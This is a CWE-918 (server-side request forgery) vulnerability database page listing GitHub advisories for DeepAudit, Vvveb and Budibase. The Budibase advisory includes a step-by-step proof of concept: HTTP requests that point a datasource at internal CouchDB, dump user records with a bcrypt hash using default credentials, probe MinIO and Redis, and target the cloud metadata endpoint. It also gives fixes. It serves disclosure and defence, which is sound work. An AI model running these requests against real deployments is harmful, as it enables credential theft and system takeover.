Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4734 vulnerabilities reference this CWE, most recent first.

GHSA-7R5X-3969-58XR

Vulnerability from github – Published: 2026-02-16 06:31 – Updated: 2026-02-16 06:31
VLAI
Details

A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-16T04:15:52Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.",
  "id": "GHSA-7r5x-3969-58xr",
  "modified": "2026-02-16T06:31:29Z",
  "published": "2026-02-16T06:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/issues/144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/pull/145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/commit/da853fdd8cbe9d42053b45d83f25708ba29b8b27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/releases/tag/v3.0.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.748220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R9G-V72R-PRMJ

Vulnerability from github – Published: 2025-08-04 18:30 – Updated: 2025-08-04 18:30
VLAI
Details

A vulnerability classified as critical was found in givanz Vvveb up to 1.0.5. This vulnerability affects unknown code of the file /vadmin123/?module=editor/editor of the component Drag-and-Drop Editor. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.6 is able to address this issue. The patch is identified as f684f3e374d04db715730fc4796e102f5ebcacb2. It is recommended to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-04T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in givanz Vvveb up to 1.0.5. This vulnerability affects unknown code of the file /vadmin123/?module=editor/editor of the component Drag-and-Drop Editor. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.6 is able to address this issue. The patch is identified as f684f3e374d04db715730fc4796e102f5ebcacb2. It is recommended to upgrade the affected component.",
  "id": "GHSA-7r9g-v72r-prmj",
  "modified": "2025-08-04T18:30:38Z",
  "published": "2025-08-04T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/commit/f684f3e374d04db715730fc4796e102f5ebcacb2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/releases/tag/1.0.6"
    },
    {
      "type": "WEB",
      "url": "https://hkohi.ca/vulnerability/9"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.318646"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.318646"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.624973"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R9J-R86Q-7G45

Vulnerability from github – Published: 2026-04-03 21:34 – Updated: 2026-04-03 21:34
VLAI
Summary
Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist
Details

1. Summary

Field Value
Title SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration
Product Budibase
Version 3.30.6 (latest stable as of 2026-02-25)
Component REST Datasource Integration + Backend-Core Blacklist Module
Severity Critical
Attack Vector Network
Privileges Required Low (Builder role, or QUERY WRITE for execution of pre-existing queries)
User Interaction None
Affected Deployments All self-hosted instances without explicit BLACKLIST_IPS configuration (believed to be the vast majority)

2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.

This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer


3. Root Cause Analysis

3.1 Blacklist Implementation

File: packages/backend-core/src/blacklist/blacklist.ts

// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS
  const list = blacklist?.split(",") || []       // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blackListArray = final                         // ← empty array
}

// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false                                 // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}

Problem: When BLACKLIST_IPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLIST_IPS

File: hosting/.env (official Docker Compose deployment template)

MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) {     // ← always false
  throw new Error("Cannot connect to URL.")   // ← never reached
}
// Line 708:
response = await fetch(url, input)             // ← unrestricted fetch

3.4 Authorization Model

Operation Endpoint Required Permission
Create datasource POST /api/datasources BUILDER (app-level)
Create query POST /api/queries BUILDER (app-level)
Execute query POST /api/v2/queries/:id QUERY WRITE (can be granted to any app user)

Route definitions: - packages/server/src/api/routes/datasource.ts:19builderRoutes - packages/server/src/api/routes/query.ts:33builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBAL_BUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.


4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read: - All CouchDB databases (/_all_dbs) - User credentials including bcrypt password hashes, email addresses (/global-db/_all_docs?include_docs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss

4.3 Availability — Medium

  • Resource exhaustion by making the server proxy large responses from internal services
  • Database destruction via CouchDB DELETE operations
  • Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network


5. Proof of Concept

5.1 Environment Setup

cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}

Response (201 — datasource created successfully):

{
  "datasource": {
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
    "name": "Internal CouchDB",
    "source": "REST",
    "config": { "url": "http://couchdb-service:5984" }
  }
}

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

POST /api/v2/queries/<query_id> HTTP/1.1

Response — Internal CouchDB data returned to the attacker:

{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}

5.4 Step 3 — Enumerate All Databases

Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)

{
  "data": [
    {"value": "_replicator"},
    {"value": "_users"},
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
    {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
    {"value": "global-db"},
    {"value": "global-info"}
  ]
}

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/_all_docs?include_docs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash:

{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "admin@test.com",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}

Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage):

Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO

Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning):

Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)

Different error from non-existent host → confirms service discovery capability.

Non-existent service:

Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"

5.7 Service Discovery Matrix

Target URL Response Service Confirmed
CouchDB http://couchdb-service:5984/ {"couchdb":"Welcome","version":"3.3.3"} Yes — full data access
MinIO http://minio-service:9000/ XML error with Server: MinIO header Yes — storage access
Redis http://redis-service:6379/ socket hang up / fetch failed Yes — port open
Non-existent http://nonexistent:12345/ fetch failed (ENOTFOUND) No — different error

This differential response enables internal network mapping.


6. Attack Scenarios

Scenario A: Builder User Steals All Credentials

  1. User has Builder role for one app
  2. Creates REST datasource → http://couchdb-service:5984
  3. Queries global-db to get all user records with password hashes
  4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)

  1. Attacker has Creator role (lower than Builder)
  2. Exploits CVE-2026-25040 to invite themselves as Admin
  3. Now has Builder access → exploits this SSRF
  4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)

  1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/
  2. Retrieves IAM credentials, instance metadata
  3. Pivots to cloud infrastructure

7. Affected Code Paths

User Request
    │
    ▼
POST /api/datasources                          [BUILDER permission]
    │  packages/server/src/api/routes/datasource.ts:32
    │  → No URL validation on datasource.config.url
    ▼
POST /api/v2/queries/:queryId                  [QUERY WRITE permission]
    │  packages/server/src/api/routes/query.ts:63
    ▼
packages/server/src/threads/query.ts
    │  → Executes query via REST integration
    ▼
packages/server/src/integrations/rest.ts
    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)
    │  Line 708: fetch(url, input)              → unrestricted request
    ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
    │
    ▼
Response returned to attacker via query results

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

// packages/backend-core/src/blacklist/blacklist.ts

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",       // localhost
  "10.0.0.0/8",        // RFC1918
  "172.16.0.0/12",     // RFC1918
  "192.168.0.0/16",    // RFC1918
  "169.254.0.0/16",    // link-local / cloud metadata
  "0.0.0.0/8",         // current network
  "::1/128",           // IPv6 localhost
  "fc00::/7",          // IPv6 private
  "fe80::/10",         // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}

Fix 2 (High): Validate Datasource URLs at Creation Time

// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.33.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:34:44Z",
    "nvd_published_at": "2026-04-03T16:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |\n| **Product** | Budibase |\n| **Version** | 3.30.6 (latest stable as of 2026-02-25) |\n| **Component** | REST Datasource Integration + Backend-Core Blacklist Module |\n| **Severity** | Critical |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |\n| **User Interaction** | None |\n| **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |\n\n---\n\n## 2. Description\n\nA critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase\u0027s REST datasource connector. The platform\u0027s SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.\n\nThis allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses \u2014 including credentials, database contents, and internal service metadata.\n\nThe vulnerability is particularly severe because:\n1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data\n2. CouchDB credentials are embedded in the environment variables visible to the application container\n3. A successful exploit grants full read/write access to the entire Budibase data layer\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Blacklist Implementation\n\n**File**: `packages/backend-core/src/blacklist/blacklist.ts`\n\n```typescript\n// Line 23-37: Blacklist refresh reads from environment variable\nexport async function refreshBlacklist() {\n  const blacklist = env.BLACKLIST_IPS           // \u2190 reads BLACKLIST_IPS\n  const list = blacklist?.split(\",\") || []       // \u2190 empty array if unset\n  let final: string[] = []\n  for (let addr of list) {\n    // ... resolves domains to IPs\n  }\n  blackListArray = final                         // \u2190 empty array\n}\n\n// Line 39-54: Blacklist check\nexport async function isBlacklisted(address: string): Promise\u003cboolean\u003e {\n  if (!blackListArray) {\n    await refreshBlacklist()\n  }\n  if (blackListArray?.length === 0) {\n    return false                                 // \u2190 ALWAYS returns false when empty\n  }\n  // ... rest of check never executes\n}\n```\n\n**Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.\n\n### 3.2 Default Configuration Missing BLACKLIST_IPS\n\n**File**: `hosting/.env` (official Docker Compose deployment template)\n\n```env\nMAIN_PORT=10000\nAPI_ENCRYPTION_KEY=testsecret\nJWT_SECRET=testsecret\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nCOUCH_DB_PASSWORD=budibase\nCOUCH_DB_USER=budibase\nREDIS_PASSWORD=budibase\nINTERNAL_API_KEY=budibase\n# ... (19 other variables)\n# BLACKLIST_IPS is NOT present\n```\n\nNo default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.\n\n### 3.3 REST Integration Blacklist Check\n\n**File**: `packages/server/src/integrations/rest.ts`\n\n```typescript\n// Line 684-686: Blacklist check before fetch\nconst url = this.getUrl(path, queryString, pagination, paginationValues)\nif (await blacklist.isBlacklisted(url)) {     // \u2190 always false\n  throw new Error(\"Cannot connect to URL.\")   // \u2190 never reached\n}\n// Line 708:\nresponse = await fetch(url, input)             // \u2190 unrestricted fetch\n```\n\n### 3.4 Authorization Model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|-------------------|\n| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |\n| Create query | `POST /api/queries` | `BUILDER` (app-level) |\n| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |\n\n**Route definitions**:\n- `packages/server/src/api/routes/datasource.ts:19` \u2192 `builderRoutes`\n- `packages/server/src/api/routes/query.ts:33` \u2192 `builderRoutes` (create)\n- `packages/server/src/api/routes/query.ts:55-66` \u2192 `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)\n\n**Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality \u2014 Critical\n\nAn attacker can read:\n- **All CouchDB databases** (`/_all_dbs`)\n- **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)\n- **Platform configuration** including encryption keys, JWT secrets\n- **All application data** across every app in the instance\n- **Internal service metadata** (MinIO storage, Redis)\n\n### 4.2 Integrity \u2014 High\n\nThrough CouchDB\u0027s HTTP API (which supports PUT/POST/DELETE), an attacker can:\n- **Modify user records** to escalate privileges\n- **Create new admin accounts** directly in CouchDB\n- **Alter application data** in any app\u0027s database\n- **Delete databases** causing data loss\n\n### 4.3 Availability \u2014 Medium\n\n- **Resource exhaustion** by making the server proxy large responses from internal services\n- **Database destruction** via CouchDB DELETE operations\n- **Service disruption** by modifying critical configuration documents\n\n### 4.4 Scope Change\n\nThe vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:\n- CouchDB (database layer)\n- MinIO (storage layer)\n- Redis (cache/session layer)\n- Any other service accessible from the Docker network\n\n---\n\n## 5. Proof of Concept\n\n### 5.1 Environment Setup\n\n```bash\ncd hosting/\ndocker compose up -d\n# Wait for services to start\n# Create admin account via POST /api/global/users/init\n# Login to obtain session cookie\n```\n\n**Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`\n\n### 5.2 Step 1 \u2014 Create REST Datasource Targeting Internal CouchDB\n\n```http\nPOST /api/datasources HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\nCookie: budibase:auth=\u003csession_token\u003e\nx-budibase-app-id: \u003capp_id\u003e\n\n{\n  \"datasource\": {\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"type\": \"datasource\",\n    \"config\": {\n      \"url\": \"http://couchdb-service:5984\",\n      \"defaultHeaders\": {}\n    }\n  }\n}\n```\n\n**Response** (201 \u2014 datasource created successfully):\n```json\n{\n  \"datasource\": {\n    \"_id\": \"datasource_4530e34a8b2e423f8f8eb53e2b2cefc6\",\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"config\": { \"url\": \"http://couchdb-service:5984\" }\n  }\n}\n```\n\nNo warning, no validation error \u2014 an internal hostname is accepted without restriction.\n\n### 5.3 Step 2 \u2014 Query CouchDB Version (Confirm Connectivity)\n\nCreate and execute a query to `GET /`:\n\n```http\nPOST /api/v2/queries/\u003cquery_id\u003e HTTP/1.1\n```\n\n**Response** \u2014 Internal CouchDB data returned to the attacker:\n```json\n{\n  \"data\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"git_sha\": \"40afbcfc7\",\n    \"uuid\": \"9cd97b58e2cef72e730a83247c377d2b\",\n    \"features\": [\"search\",\"access-ready\",\"partitioned\",\n                 \"pluggable-storage-engines\",\"reshard\",\"scheduler\"],\n    \"vendor\": {\"name\": \"The Apache Software Foundation\"}\n  }],\n  \"code\": 200,\n  \"time\": \"44ms\"\n}\n```\n\n### 5.4 Step 3 \u2014 Enumerate All Databases\n\nQuery: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)\n\n```json\n{\n  \"data\": [\n    {\"value\": \"_replicator\"},\n    {\"value\": \"_users\"},\n    {\"value\": \"app_dev_3eeb8d7949074250ae62f206ad0b61a5\"},\n    {\"value\": \"app_dev_5135f7f368bc4701a7f163baaf22f1b7\"},\n    {\"value\": \"global-db\"},\n    {\"value\": \"global-info\"}\n  ]\n}\n```\n\n### 5.5 Step 4 \u2014 Exfiltrate User Credentials and Platform Secrets\n\nQuery: `GET /global-db/_all_docs?include_docs=true\u0026limit=20`\nHeaders: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)\n\n**Response** \u2014 Full user record with bcrypt hash:\n```json\n{\n  \"data\": [{\n    \"total_rows\": 4,\n    \"rows\": [\n      {\n        \"id\": \"config_settings\",\n        \"doc\": {\n          \"_id\": \"config_settings\",\n          \"type\": \"settings\",\n          \"config\": {\n            \"platformUrl\": \"http://localhost:10000\",\n            \"uniqueTenantId\": \"23ba9844703049778d75372e720c7169_default\"\n          }\n        }\n      },\n      {\n        \"id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n        \"doc\": {\n          \"_id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n          \"email\": \"admin@test.com\",\n          \"password\": \"$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK\",\n          \"builder\": {\"global\": true},\n          \"admin\": {\"global\": true},\n          \"tenantId\": \"default\",\n          \"status\": \"active\"\n        }\n      },\n      {\n        \"id\": \"usage_quota\",\n        \"doc\": {\n          \"_id\": \"usage_quota\",\n          \"quotaReset\": \"2026-03-01T00:00:00.000Z\",\n          \"usageQuota\": {\"apps\": 2, \"users\": 1, \"creators\": 1}\n        }\n      }\n    ]\n  }]\n}\n```\n\n**Exfiltrated data includes**:\n- Admin email: `admin@test.com`\n- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK`\n- Role information: `builder.global: true`, `admin.global: true`\n- Tenant ID, platform URL, quota information\n\n### 5.6 Step 5 \u2014 Access Other Internal Services\n\n**MinIO (Object Storage)**:\n```\nDatasource URL: http://minio-service:9000\nResponse: {\"Code\":\"BadRequest\",\"Message\":\"An unsupported API call...\"}\nServer header: MinIO\n```\nConfirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.\n\n**Redis (Port Scanning)**:\n```\nDatasource URL: http://redis-service:6379\nResponse: \"fetch failed\" (Redis speaks non-HTTP protocol)\n```\nDifferent error from non-existent host \u2192 confirms service discovery capability.\n\n**Non-existent service**:\n```\nDatasource URL: http://nonexistent-service:12345\nResponse: \"fetch failed\"\n```\n\n### 5.7 Service Discovery Matrix\n\n| Target | URL | Response | Service Confirmed |\n|--------|-----|----------|-------------------|\n| CouchDB | `http://couchdb-service:5984/` | `{\"couchdb\":\"Welcome\",\"version\":\"3.3.3\"}` | Yes \u2014 full data access |\n| MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes \u2014 storage access |\n| Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes \u2014 port open |\n| Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No \u2014 different error |\n\nThis differential response enables internal network mapping.\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A: Builder User Steals All Credentials\n1. User has `Builder` role for one app\n2. Creates REST datasource \u2192 `http://couchdb-service:5984`\n3. Queries `global-db` to get all user records with password hashes\n4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT\n\n### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)\n1. Attacker has `Creator` role (lower than Builder)\n2. Exploits CVE-2026-25040 to invite themselves as Admin\n3. Now has Builder access \u2192 exploits this SSRF\n4. Complete instance takeover\n\n### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)\n1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`\n2. Retrieves IAM credentials, instance metadata\n3. Pivots to cloud infrastructure\n\n---\n\n## 7. Affected Code Paths\n\n```\nUser Request\n    \u2502\n    \u25bc\nPOST /api/datasources                          [BUILDER permission]\n    \u2502  packages/server/src/api/routes/datasource.ts:32\n    \u2502  \u2192 No URL validation on datasource.config.url\n    \u25bc\nPOST /api/v2/queries/:queryId                  [QUERY WRITE permission]\n    \u2502  packages/server/src/api/routes/query.ts:63\n    \u25bc\npackages/server/src/threads/query.ts\n    \u2502  \u2192 Executes query via REST integration\n    \u25bc\npackages/server/src/integrations/rest.ts\n    \u2502  Line 684: blacklist.isBlacklisted(url)   \u2192 returns false (empty list)\n    \u2502  Line 708: fetch(url, input)              \u2192 unrestricted request\n    \u25bc\nInternal Service (CouchDB, MinIO, Redis, etc.)\n    \u2502\n    \u25bc\nResponse returned to attacker via query results\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 